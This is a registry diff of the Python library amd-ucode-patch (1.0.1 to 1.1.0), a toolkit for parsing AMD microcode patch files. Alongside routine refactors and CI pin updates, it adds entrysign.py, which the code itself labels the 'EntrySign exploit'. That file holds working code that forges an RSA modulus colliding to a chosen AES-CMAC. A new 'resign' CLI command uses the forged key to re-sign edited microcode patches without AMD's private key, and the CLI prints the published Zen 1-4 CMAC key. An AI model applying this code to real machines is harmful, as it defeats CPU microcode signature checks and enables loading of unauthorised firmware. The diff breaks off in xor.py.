amd-ucode-patch 1.0.1__tar.gz → 1.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/codeql.yml +2 -2
  2. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/scorecard.yml +1 -1
  3. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/PKG-INFO +1 -1
  4. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/pyproject.toml +1 -1
  5. amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/argtypes.py +48 -0
  6. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/cli/info.py +4 -15
  7. amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/paths.py +23 -0
  8. amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/sign.py +153 -0
  9. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/naming.py +3 -1
  10. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch.py +14 -0
  11. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/signature.py +5 -4
  12. amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/cmac.py +40 -0
  13. amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/entrysign.py +133 -0
  14. amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/numtheory.py +20 -0
  15. amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/rsa.py +107 -0
  16. amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/xor.py +19 -0
  17. amd_ucode_patch-1.0.1/src/amd_ucode_patch/cli/sign.py +0 -89
  18. amd_ucode_patch-1.0.1/src/amd_ucode_patch/utils/rsa.py +0 -65
  19. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/dependabot.yml +0 -0
  20. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/build.yml +0 -0
  21. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.gitignore +0 -0
  22. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/LICENSE.md +0 -0
  23. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/README.md +0 -0
  24. {amd_ucode_patch-1.0.1/src/amd_ucode_patch → amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli}/banner.py +0 -0
  25. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/parse.py +0 -0
  26. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/body.py +0 -0
  27. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_date.py +0 -0
  28. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_header.py +0 -0
  29. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_level.py +0 -0
  30. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/verified_header.py +0 -0
  31. {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/utils/bcd.py +0 -0
@@ -58,7 +58,7 @@ jobs:
58
58
 
59
59
  # Initializes the CodeQL tools for scanning.
60
60
  - name: Initialize CodeQL
61
- uses: github/codeql-action/init@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4
61
+ uses: github/codeql-action/init@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4
62
62
  with:
63
63
  languages: ${{ matrix.language }}
64
64
  build-mode: ${{ matrix.build-mode }}
@@ -86,6 +86,6 @@ jobs:
86
86
  exit 1
87
87
 
88
88
  - name: Perform CodeQL Analysis
89
- uses: github/codeql-action/analyze@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4
89
+ uses: github/codeql-action/analyze@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4
90
90
  with:
91
91
  category: "/language:${{matrix.language}}"
@@ -38,6 +38,6 @@ jobs:
38
38
  retention-days: 5
39
39
 
40
40
  - name: Upload to code-scanning
41
- uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2
41
+ uses: github/codeql-action/upload-sarif@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4.37.0
42
42
  with:
43
43
  sarif_file: results.sarif
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: amd-ucode-patch
3
- Version: 1.0.1
3
+ Version: 1.1.0
4
4
  Summary: A Python library for parsing and interpreting AMD microcode patch files
5
5
  Project-URL: Homepage, https://github.com/amd-zenith/amd-ucode-patch
6
6
  Project-URL: Repository, https://github.com/amd-zenith/amd-ucode-patch
@@ -1,5 +1,5 @@
1
1
  [build-system]
2
- requires = ["hatchling==1.30.1", "hatch-vcs==0.5.0"]
2
+ requires = ["hatchling==1.31.0", "hatch-vcs==0.5.0"]
3
3
  build-backend = "hatchling.build"
4
4
 
5
5
  [project]
@@ -0,0 +1,48 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """
5
+ Argparse ``type=`` converters for hex-encoded key material shared by the
6
+ command line tools. Each raises ``argparse.ArgumentTypeError`` on malformed or
7
+ wrong-length input, which argparse renders as a usage error.
8
+ """
9
+
10
+ import argparse
11
+
12
+
13
+ def parse_fixed_hex(value: str, nbytes: int, what: str) -> bytes:
14
+ """
15
+ Parse ``value`` as hex (an optional ``0x`` prefix is allowed) and require it
16
+ to decode to exactly ``nbytes`` bytes. ``what`` names the field in error
17
+ messages.
18
+ """
19
+ text = value.strip().lower()
20
+ if text.startswith("0x"):
21
+ text = text[2:]
22
+ try:
23
+ data = bytes.fromhex(text)
24
+ except ValueError:
25
+ raise argparse.ArgumentTypeError(f"{what} must be hexadecimal, got {value!r}")
26
+ if len(data) != nbytes:
27
+ raise argparse.ArgumentTypeError(f"{what} must be {nbytes} bytes ({2 * nbytes} hex chars), got {len(data)}")
28
+ return data
29
+
30
+
31
+ def parse_key(value: str) -> bytes:
32
+ """Parse a 16-byte AES-128 CMAC key from hex."""
33
+ return parse_fixed_hex(value, 16, "key")
34
+
35
+
36
+ def parse_modulus(value: str) -> bytes:
37
+ """Parse a 256-byte RSA modulus from hex."""
38
+ return parse_fixed_hex(value, 256, "modulus")
39
+
40
+
41
+ def parse_private(value: str) -> bytes:
42
+ """Parse a 256-byte RSA private exponent from hex."""
43
+ return parse_fixed_hex(value, 256, "private exponent")
44
+
45
+
46
+ def parse_check(value: str) -> bytes:
47
+ """Parse a 256-byte signature check (Montgomery helper) field from hex."""
48
+ return parse_fixed_hex(value, 256, "check")
@@ -4,29 +4,18 @@
4
4
  A command line tool to print information about AMD uCode patch files.
5
5
  '''
6
6
 
7
- import glob
8
7
  import argparse
9
- from pathlib import Path
10
8
  from rich import box
11
9
  from rich.console import Console
12
10
  from rich.table import Table
13
- from ..banner import BANNER
14
- from ..parse import ucode_patch_parse
15
- from ..structures.patch_level import PatchLevelV2
11
+ from amd_ucode_patch.cli.banner import BANNER
12
+ from amd_ucode_patch.cli.paths import expand_paths
13
+ from amd_ucode_patch.parse import ucode_patch_parse
14
+ from amd_ucode_patch.structures.patch_level import PatchLevelV2
16
15
 
17
16
  COLS = ["File", "Date", "Patch level", "PL Ver", "PL Rev", "Loader ID", "Proc. Rev", "CPUID", "Family", "Family Name", "Model", "Stepping", "Microarch", "Codename", "Signed", "Autorun", "Encrypted", "Body size"]
18
17
 
19
18
 
20
- def expand_paths(patterns):
21
- for pattern in patterns:
22
- matches = sorted(glob.glob(pattern, recursive=True))
23
- if not matches:
24
- yield Path(pattern)
25
- continue
26
- for match in matches:
27
- yield Path(match)
28
-
29
-
30
19
  def _row_fields(path, patch):
31
20
  patch_level = patch.header.patch_level
32
21
  # Advanced (v2 / Zen+) patch level fields are only meaningful when present.
@@ -0,0 +1,23 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """Shared path handling for the command line tools."""
5
+
6
+ import glob
7
+ from pathlib import Path
8
+ from collections.abc import Iterable, Iterator
9
+
10
+
11
+ def expand_paths(patterns: Iterable[str]) -> Iterator[Path]:
12
+ """
13
+ Expand each glob pattern into the matching paths (sorted, recursive ``**``
14
+ supported). A pattern with no matches is yielded verbatim as a ``Path`` so the
15
+ caller can surface a sensible "file not found" error.
16
+ """
17
+ for pattern in patterns:
18
+ matches = sorted(glob.glob(pattern, recursive=True))
19
+ if not matches:
20
+ yield Path(pattern)
21
+ continue
22
+ for match in matches:
23
+ yield Path(match)
@@ -0,0 +1,153 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+ '''
4
+ A command line tool to inspect, verify, sign and resign AMD uCode patches.
5
+ '''
6
+
7
+ import sys
8
+ import argparse
9
+ from pathlib import Path
10
+ from rich import box
11
+ from rich.console import Console
12
+ from rich.table import Table
13
+ from amd_ucode_patch.cli.banner import BANNER
14
+ from amd_ucode_patch.parse import ucode_patch_parse
15
+ from amd_ucode_patch.utils.cmac import cmac_digest
16
+ from amd_ucode_patch.utils.entrysign import produce_colliding_key
17
+ from amd_ucode_patch.utils.rsa import montgomery_n_prime, sign_pkcs1_v15_payload
18
+ from amd_ucode_patch.cli.paths import expand_paths
19
+ from amd_ucode_patch.cli.argtypes import parse_key, parse_modulus, parse_private
20
+
21
+
22
+ COLS = ["File", "Signed", "Digest", "Valid"]
23
+
24
+
25
+ def _verify_row(path, key):
26
+ """Return the four display cells (File, Signed, Digest, Valid) for one patch."""
27
+ patch = ucode_patch_parse(path)
28
+ signature = patch.header.signature
29
+
30
+ if signature is None:
31
+ return (str(path), "[yellow]no[/yellow]", "", "[dim]n/a[/dim]")
32
+
33
+ recovered = signature.recover_digest()
34
+ digest = recovered.hex() if recovered is not None else "[red]<bad padding>[/red]"
35
+
36
+ if key is None:
37
+ return (str(path), "[green]yes[/green]", digest, "[dim]not checked[/dim]")
38
+
39
+ computed = cmac_digest(patch.body.to_bytes(), key)
40
+ verdict = recovered is not None and recovered == computed
41
+ valid = "[green]yes[/green]" if verdict else "[red]no[/red]"
42
+ return (str(path), "[green]yes[/green]", digest, valid)
43
+
44
+
45
+ def verify(args, console):
46
+ """Process the ``verify`` command: print a signature table for each file."""
47
+ table = Table(*COLS, box=box.HEAVY_HEAD)
48
+ for path in expand_paths(args.files):
49
+ try:
50
+ row = _verify_row(path, args.key)
51
+ table.add_row(*row)
52
+ except Exception as e:
53
+ console.log(f"Error reading {path}: {e}")
54
+ console.print(table)
55
+
56
+
57
+ def _write_target(src: Path, output: Path | None) -> Path:
58
+ return output if output is not None else src
59
+
60
+
61
+ def _resign_one(
62
+ path: Path,
63
+ key: bytes,
64
+ private: bytes | None,
65
+ modulus: bytes | None,
66
+ output: Path | None,
67
+ ) -> tuple[Path, str]:
68
+ patch = ucode_patch_parse(path)
69
+ signature = patch.header.signature
70
+ if signature is None:
71
+ raise ValueError("patch is unsigned (pre-Zen), cannot resign")
72
+
73
+ digest = cmac_digest(patch.body.to_bytes(), key)
74
+ if private is None:
75
+ target = cmac_digest(signature.modulus, key)
76
+ new_modulus, new_private = produce_colliding_key(target, cmac_key=key)
77
+ else:
78
+ new_modulus = modulus if modulus is not None else signature.modulus
79
+ new_private = private
80
+
81
+ signature.modulus = new_modulus
82
+ signature.check = montgomery_n_prime(new_modulus)
83
+ signature.signature = sign_pkcs1_v15_payload(digest, new_modulus, new_private)
84
+
85
+ out_path = _write_target(path, output)
86
+ out_path.write_bytes(patch.to_bytes())
87
+ return out_path, digest.hex()
88
+
89
+
90
+ def resign(args, console) -> int:
91
+ """
92
+ Process the ``resign`` command: re-sign edited patches, in place by default.
93
+ Returns a process exit code (non-zero if any file failed or the arguments
94
+ were invalid).
95
+ """
96
+ if args.output is not None and len(args.files) != 1:
97
+ console.log("Error: --output is only allowed with a single input file")
98
+ return 1
99
+ if args.modulus is not None and args.private is None:
100
+ console.log("Error: --modulus requires --private")
101
+ return 1
102
+
103
+ exit_code = 0
104
+ for path in expand_paths(args.files):
105
+ try:
106
+ target, digest = _resign_one(
107
+ path,
108
+ args.key,
109
+ args.private,
110
+ args.modulus,
111
+ args.output,
112
+ )
113
+ console.print(f"[green]resigned[/green] {target} digest={digest}")
114
+ except Exception as e:
115
+ console.log(f"Error resigning {path}: {e}")
116
+ exit_code = 1
117
+ return exit_code
118
+
119
+
120
+ def main():
121
+ console = Console()
122
+ console.print(BANNER, highlight=False)
123
+
124
+ parser = argparse.ArgumentParser(
125
+ description="Inspect, verify, sign and resign AMD microcode patch signatures.",
126
+ epilog="The published Zen 1-4 CMAC key is 2b7e151628aed2a6abf7158809cf4f3c.",
127
+ )
128
+
129
+ subparsers = parser.add_subparsers(dest="command")
130
+
131
+ verify_parser = subparsers.add_parser("verify", help="Inspect signatures and verify with -k when provided")
132
+ verify_parser.add_argument("files", nargs="+", help="Patch files to inspect")
133
+ verify_parser.add_argument("-k", "--key", type=parse_key, default=None, help="AES-128 CMAC key as hex (32 hex chars); enables verification")
134
+
135
+ resign_parser = subparsers.add_parser("resign", help="Re-sign edited patches in-place (zentool-style)")
136
+ resign_parser.add_argument("files", nargs="+", help="Patch files to resign")
137
+ resign_parser.add_argument("-k", "--key", type=parse_key, required=True, help="AES-128 CMAC key as hex (default: published Zen 1-4 key)")
138
+ resign_parser.add_argument("-d", "--private", type=parse_private, default=None, help="RSA private exponent as 512 hex chars (256 bytes). Optional.")
139
+ resign_parser.add_argument("-m", "--modulus", type=parse_modulus, default=None, help="RSA modulus as 512 hex chars (256 bytes). Used with --private.")
140
+ resign_parser.add_argument("-o", "--output", type=Path, default=None, help="Output file (single-input only). Defaults to in-place rewrite")
141
+
142
+ args = parser.parse_args()
143
+
144
+ if args.command == "verify":
145
+ verify(args, console)
146
+ elif args.command == "resign":
147
+ sys.exit(resign(args, console))
148
+ else:
149
+ console.log(f"Error: unknown command {args.command!r}")
150
+
151
+
152
+ if __name__ == "__main__":
153
+ main()
@@ -5,12 +5,14 @@ from .structures.patch import Patch
5
5
 
6
6
  def ucode_patch_name(patch: Patch, enc_override=None) -> str:
7
7
  # Format should be:
8
- # family<family>_cpuid<cpuid>_rev<revision>_date<yyyymmdd>_enc<ee>.bin
8
+ # family<family>_cpuid<cpuid>_rev<revision>_date<yyyymmdd>_enc<ee>_sha<hash12>.bin
9
9
  # The _enc<ee> suffix is only present when a verified header exists.
10
10
  cpuid = patch.header.cpuid
11
11
  name = f"family{cpuid.family:02x}_cpuid{cpuid.cpuid_signature:08X}_rev{patch.header.patch_level}_date{patch.header.date.year:04}{patch.header.date.month:02}{patch.header.date.day:02}"
12
12
  if patch.body.verified_header is not None:
13
13
  enc = patch.body.verified_header.encrypted if enc_override is None else enc_override
14
14
  name += f"_enc{enc:02}"
15
+ hash12 = patch.sha256_hex()[:12]
16
+ name += f"_sha{hash12}"
15
17
  name += ".bin"
16
18
  return name
@@ -1,6 +1,7 @@
1
1
  #!/usr/bin/env python
2
2
  # SPDX-License-Identifier: GPL-2.0-or-later
3
3
 
4
+ import hashlib
4
5
  from dataclasses import dataclass
5
6
  from .patch_header import PatchHeader
6
7
  from .body import Body
@@ -20,6 +21,11 @@ class Patch:
20
21
  body = Body.from_bytes(buf[header.size:], family=header.cpuid.family)
21
22
  return Patch(header=header, body=body)
22
23
 
24
+ def to_bytes(self) -> bytes:
25
+ """The whole patch encoding: the header (with signature block, if any)
26
+ followed by the signed body."""
27
+ return self.header.to_bytes() + self.body.to_bytes()
28
+
23
29
  def signature_verifies(self, cmac_key: bytes) -> bool | None:
24
30
  """
25
31
  Whether the patch signature verifies against its embedded public key,
@@ -34,3 +40,11 @@ class Patch:
34
40
  if self.header.signature is None:
35
41
  return None
36
42
  return self.header.signature.verify(self.body.to_bytes(), cmac_key)
43
+
44
+ def sha256(self) -> bytes:
45
+ """SHA-256 digest of the whole patch (header + body)."""
46
+ return hashlib.sha256(self.to_bytes()).digest()
47
+
48
+ def sha256_hex(self) -> str:
49
+ """SHA-256 digest of the whole patch (header + body) as a hex string."""
50
+ return hashlib.sha256(self.to_bytes()).hexdigest()
@@ -4,7 +4,8 @@
4
4
  from dataclasses import dataclass
5
5
  from Crypto.Cipher import AES
6
6
  from Crypto.Hash import CMAC
7
- from amd_ucode_patch.utils.rsa import digest_recover, pkcs1_v15_verify
7
+ from amd_ucode_patch.utils.cmac import cmac_digest
8
+ from amd_ucode_patch.utils.rsa import recover_pkcs1_v15_payload, verify_pkcs1_v15_payload
8
9
 
9
10
 
10
11
  @dataclass
@@ -52,7 +53,7 @@ class Signature:
52
53
  ``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
53
54
  corrupt signature or wrong modulus).
54
55
  """
55
- return digest_recover(self.signature, self.modulus)
56
+ return recover_pkcs1_v15_payload(self.signature, self.modulus)
56
57
 
57
58
  def verify(self, signed_region: bytes, cmac_key: bytes) -> bool:
58
59
  """
@@ -64,5 +65,5 @@ class Signature:
64
65
  key, so Zen 5 patches will not verify unless the right ``cmac_key`` is
65
66
  supplied.
66
67
  """
67
- digest = CMAC.new(cmac_key, msg=signed_region, ciphermod=AES).digest()
68
- return pkcs1_v15_verify(self.signature, self.modulus, digest)
68
+ digest = cmac_digest(signed_region, cmac_key)
69
+ return verify_pkcs1_v15_payload(self.signature, self.modulus, digest)
@@ -0,0 +1,40 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """AES-CMAC helpers shared by signature tooling."""
5
+
6
+ from Crypto.Cipher import AES
7
+ from Crypto.Hash import CMAC
8
+
9
+ #: AES block size in bytes; also the AES-CMAC block size.
10
+ AES_BLOCK_SIZE = 16
11
+
12
+
13
+ def cmac_digest(message: bytes, key: bytes) -> bytes:
14
+ """Return AES-128-CMAC over ``message`` using ``key``."""
15
+ return CMAC.new(key, msg=message, ciphermod=AES).digest()
16
+
17
+
18
+ def gf128_double(block: bytes) -> bytes:
19
+ """
20
+ Double a 16-byte block in GF(2^128): a left shift by one bit, reduced modulo
21
+ the CMAC polynomial (XOR ``0x87``) when the top bit overflows. This is the
22
+ ``dbl`` operation from RFC 4493 used to derive the AES-CMAC subkeys K1 and K2.
23
+ """
24
+ out = bytearray(block)
25
+ carry = out[0] >> 7
26
+ for i in range(15):
27
+ out[i] = ((out[i] << 1) & 0xFF) | (out[i + 1] >> 7)
28
+ out[15] = ((out[15] << 1) & 0xFF) ^ (0x87 if carry else 0)
29
+ return bytes(out)
30
+
31
+
32
+ def cmac_subkeys(key: bytes) -> tuple[bytes, bytes]:
33
+ """
34
+ Derive the AES-CMAC subkeys ``(K1, K2)`` from ``key`` per RFC 4493:
35
+ ``L = AES_key(0^128)``, ``K1 = dbl(L)``, ``K2 = dbl(K1)``.
36
+ """
37
+ aes = AES.new(key, AES.MODE_ECB)
38
+ subkey1 = gf128_double(aes.encrypt(b"\x00" * AES_BLOCK_SIZE))
39
+ subkey2 = gf128_double(subkey1)
40
+ return subkey1, subkey2
@@ -0,0 +1,133 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """
5
+ EntrySign exploit: forge an RSA modulus that collides to a chosen AES-CMAC,
6
+ enabling patch resigning without the private key.
7
+ """
8
+
9
+ from Crypto.Cipher import AES
10
+ from Crypto.Util.number import isPrime
11
+ from amd_ucode_patch.utils.rsa import RSA_EXPONENT_F4
12
+ from amd_ucode_patch.utils.cmac import AES_BLOCK_SIZE, cmac_digest, cmac_subkeys
13
+ from amd_ucode_patch.utils.numtheory import prime_table
14
+ from amd_ucode_patch.utils.xor import xor_bytes
15
+
16
+
17
+ def _find_cmac_preimage(
18
+ target_cmac: bytes,
19
+ preimage: bytearray,
20
+ sacrifice_index: int,
21
+ cmac_key: bytes,
22
+ ) -> None:
23
+ """
24
+ Rewrite the 16-byte block of ``preimage`` at ``sacrifice_index`` in place so
25
+ that ``AES-CMAC(cmac_key, preimage) == target_cmac``, leaving every other
26
+ block untouched.
27
+
28
+ Works by unrolling the CBC-MAC chain: the CMAC state is walked forward from
29
+ the start up to the sacrifice block and backward from ``target_cmac`` (undoing
30
+ the final subkey XOR) down to it, so the one unknown block is the value that
31
+ joins the two halves. ``sacrifice_index`` must be a multiple of 16. Raises
32
+ ``ValueError`` if the resulting CMAC does not match ``target_cmac``.
33
+ """
34
+ bs = AES_BLOCK_SIZE
35
+ if sacrifice_index % bs:
36
+ raise ValueError("sacrifice index must be a multiple of 16")
37
+
38
+ aes = AES.new(cmac_key, AES.MODE_ECB)
39
+ subkey1, subkey2 = cmac_subkeys(cmac_key)
40
+
41
+ nbytes = len(preimage)
42
+ padded_len = ((nbytes + bs - 1) // bs) * bs
43
+ padded = bytearray(padded_len)
44
+ padded[:nbytes] = preimage
45
+
46
+ if nbytes % bs == 0:
47
+ tail = padded_len - bs
48
+ padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey1)
49
+ else:
50
+ padded[nbytes] = 0x80
51
+ tail = padded_len - bs
52
+ padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey2)
53
+
54
+ padded[sacrifice_index:sacrifice_index + bs] = b"\x00" * bs
55
+
56
+ out_forward = b"\x00" * bs
57
+ for i in range(sacrifice_index // bs):
58
+ block = bytes(padded[i * bs:(i + 1) * bs])
59
+ out_forward = aes.encrypt(xor_bytes(out_forward, block))
60
+
61
+ inp = bytes(target_cmac)
62
+ for i in range((padded_len // bs) - 1, (sacrifice_index // bs) - 1, -1):
63
+ out_backward = aes.decrypt(inp)
64
+ block = bytes(padded[i * bs:(i + 1) * bs])
65
+ inp = xor_bytes(out_backward, block)
66
+
67
+ padded[sacrifice_index:sacrifice_index + bs] = xor_bytes(out_forward, inp)
68
+
69
+ if nbytes % bs == 0:
70
+ tail = padded_len - bs
71
+ padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey1)
72
+ else:
73
+ tail = padded_len - bs
74
+ padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey2)
75
+
76
+ result = cmac_digest(bytes(padded[:nbytes]), cmac_key)
77
+ if result != target_cmac:
78
+ raise ValueError("failed to compute a matching CMAC preimage")
79
+
80
+ preimage[sacrifice_index:sacrifice_index + bs] = padded[sacrifice_index:sacrifice_index + bs]
81
+
82
+
83
+ def produce_colliding_key(
84
+ target_cmac: bytes,
85
+ cmac_key: bytes,
86
+ bits: int = 2048,
87
+ exponent: int = RSA_EXPONENT_F4,
88
+ ) -> tuple[bytes, bytes]:
89
+ """
90
+ Generate an RSA keypair whose modulus collides to a chosen CMAC, i.e.
91
+ ``AES-CMAC(cmac_key, modulus) == target_cmac``. Mirrors zentool's
92
+ factor/resign strategy used for the EntrySign exploit.
93
+
94
+ Starting from a ``bits``-wide candidate, it repeatedly forces the CMAC to
95
+ ``target_cmac`` (via :func:`_find_cmac_preimage`), then keeps the modulus only
96
+ when it factors into small primes plus one large prime -- enough to compute
97
+ the private exponent ``d`` for the public ``exponent``. Returns
98
+ ``(modulus, private_exponent)`` as big-endian ``bits // 8``-byte strings, or
99
+ raises ``ValueError`` if no suitable modulus is found within the attempt budget.
100
+ """
101
+ size = bits // 8
102
+ key = bytearray(size)
103
+ key[0] = 0x80
104
+ key[-1] = 0x01
105
+
106
+ primes = prime_table()
107
+ for _ in range(5 * bits):
108
+ _find_cmac_preimage(target_cmac, key, sacrifice_index=16, cmac_key=cmac_key)
109
+
110
+ n = int.from_bytes(key, "big")
111
+ left = n
112
+ totient = 1
113
+ for p in primes:
114
+ if left % p != 0:
115
+ continue
116
+ first = True
117
+ while left % p == 0:
118
+ left //= p
119
+ totient *= (p - 1) if first else p
120
+ first = False
121
+
122
+ if left > 1 and isPrime(left):
123
+ totient *= (left - 1)
124
+ if totient % exponent != 0:
125
+ d = pow(exponent, -1, totient)
126
+ return n.to_bytes(size, "big"), d.to_bytes(size, "big")
127
+
128
+ nxt = (int.from_bytes(key, "big") + 2) % (1 << bits)
129
+ key[:] = nxt.to_bytes(size, "big")
130
+ key[0] |= 0x80
131
+ key[-1] |= 0x01
132
+
133
+ raise ValueError("failed to generate a colliding RSA modulus/private key")
@@ -0,0 +1,20 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """
5
+ General number-theory helpers.
6
+ """
7
+
8
+
9
+ def prime_table(limit: int = 100000) -> list[int]:
10
+ """
11
+ Return all primes up to ``limit`` via a sieve of Eratosthenes.
12
+ """
13
+ sieve = bytearray(b"\x01") * (limit + 1)
14
+ sieve[0:2] = b"\x00\x00"
15
+ for i in range(2, int(limit ** 0.5) + 1):
16
+ if sieve[i]:
17
+ start = i * i
18
+ step = i
19
+ sieve[start:limit + 1:step] = b"\x00" * (((limit - start) // step) + 1)
20
+ return [i for i in range(2, limit + 1) if sieve[i]]
@@ -0,0 +1,107 @@
1
+ #!/usr/bin/env python
2
+ # SPDX-License-Identifier: GPL-2.0-or-later
3
+
4
+ """
5
+ Minimal RSA signature verification helpers (textbook RSA + PKCS#1 v1.5 type 1).
6
+ """
7
+
8
+ RSA_EXPONENT_F4 = 0x10001
9
+
10
+
11
+ def pkcs1_v15_pad_type1(payload: bytes, size: int) -> bytes:
12
+ """
13
+ Build a PKCS#1 v1.5 type-1 padded block:
14
+ ``00 01 FF..FF 00 || payload``.
15
+ """
16
+ if size < len(payload) + 11:
17
+ raise ValueError("RSA size too small for PKCS#1 v1.5 padding")
18
+ ff_len = size - len(payload) - 3
19
+ return b"\x00\x01" + (b"\xff" * ff_len) + b"\x00" + payload
20
+
21
+
22
+ def pkcs1_v15_unpad_type1(block: bytes) -> bytes | None:
23
+ """
24
+ Strip PKCS#1 v1.5 block-type-1 padding (``00 01 FF..FF 00 || payload``) and
25
+ return the payload, or ``None`` if the padding is malformed.
26
+ """
27
+ if len(block) < 11 or block[0] != 0x00 or block[1] != 0x01:
28
+ return None
29
+ i = 2
30
+ while i < len(block) and block[i] == 0xFF:
31
+ i += 1
32
+ if i < 10 or i >= len(block) or block[i] != 0x00:
33
+ return None
34
+ return block[i + 1:]
35
+
36
+
37
+ def rsa_public_op(signature: bytes, modulus: bytes, exponent: int = RSA_EXPONENT_F4) -> bytes:
38
+ """
39
+ Return the RSA-recovered block ``signature ** exponent mod modulus`` as a
40
+ big-endian byte string the same width as ``modulus``.
41
+ """
42
+ n = int.from_bytes(modulus, "big")
43
+ s = int.from_bytes(signature, "big")
44
+ if n == 0 or s >= n:
45
+ raise ValueError("signature is not a residue modulo the public modulus")
46
+ m = pow(s, exponent, n)
47
+ return m.to_bytes(len(modulus), "big")
48
+
49
+
50
+ def montgomery_n_prime(modulus: bytes) -> bytes:
51
+ """
52
+ Compute the Montgomery constant ``n' = -n^(-1) mod R`` for ``modulus``,
53
+ where ``R = 2^(8 * len(modulus))``.
54
+
55
+ This is the precomputed helper a Montgomery-reduction (REDC) modular
56
+ exponentiation needs so it can replace division by the modulus with a shift.
57
+ The modulus must be odd (as any RSA modulus is) for the inverse to exist.
58
+ Returned big-endian, the same width as ``modulus``.
59
+ """
60
+ n = int.from_bytes(modulus, "big")
61
+ if n == 0 or n % 2 == 0:
62
+ raise ValueError("modulus must be non-zero and odd")
63
+ r = 1 << (8 * len(modulus))
64
+ inv = pow(n, -1, r)
65
+ return ((-inv) % r).to_bytes(len(modulus), "big")
66
+
67
+
68
+ def recover_pkcs1_v15_payload(signature: bytes, modulus: bytes, exponent: int = RSA_EXPONENT_F4) -> bytes | None:
69
+ """
70
+ Recover the digest this signature commits to, using only the embedded
71
+ public ``modulus`` (no CMAC key required): compute
72
+ ``signature ^ 0x10001 mod modulus`` and strip the PKCS#1 v1.5 padding.
73
+
74
+ Returns the recovered payload — the 16-byte AES-CMAC AMD signed — or
75
+ ``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
76
+ corrupt signature or wrong modulus).
77
+ """
78
+ try:
79
+ block = rsa_public_op(signature, modulus, exponent)
80
+ except ValueError:
81
+ return None
82
+ return pkcs1_v15_unpad_type1(block)
83
+
84
+
85
+ def verify_pkcs1_v15_payload(signature: bytes, modulus: bytes, digest: bytes,
86
+ exponent: int = RSA_EXPONENT_F4) -> bool:
87
+ """
88
+ Verify a PKCS#1 v1.5 signature whose padded payload is the raw ``digest``
89
+ (no DigestInfo ASN.1 wrapper, as AMD uses a bare 16-byte CMAC).
90
+ """
91
+ payload = recover_pkcs1_v15_payload(signature, modulus, exponent)
92
+ return payload is not None and payload == digest
93
+
94
+
95
+ def sign_pkcs1_v15_payload(digest: bytes, modulus: bytes, private: bytes) -> bytes:
96
+ """
97
+ Create a PKCS#1 v1.5 signature over a precomputed ``digest`` using
98
+ textbook RSA private-key operation ``m^d mod n``.
99
+ """
100
+ n = int.from_bytes(modulus, "big")
101
+ d = int.from_bytes(private, "big")
102
+ m = int.from_bytes(pkcs1_v15_pad_type1(digest, len(modulus)), "big")
103
+ if n == 0:
104
+ raise ValueError("modulus cannot be zero")
105
+ if m >= n:
106
+ raise ValueError("padded message is not smaller than modulus")
107
+ return pow(m, d, n).to_bytes(len(modulus), "big")
@@ -0,0 +1,19 @@
1
+ #!/usr/bin/env python
2
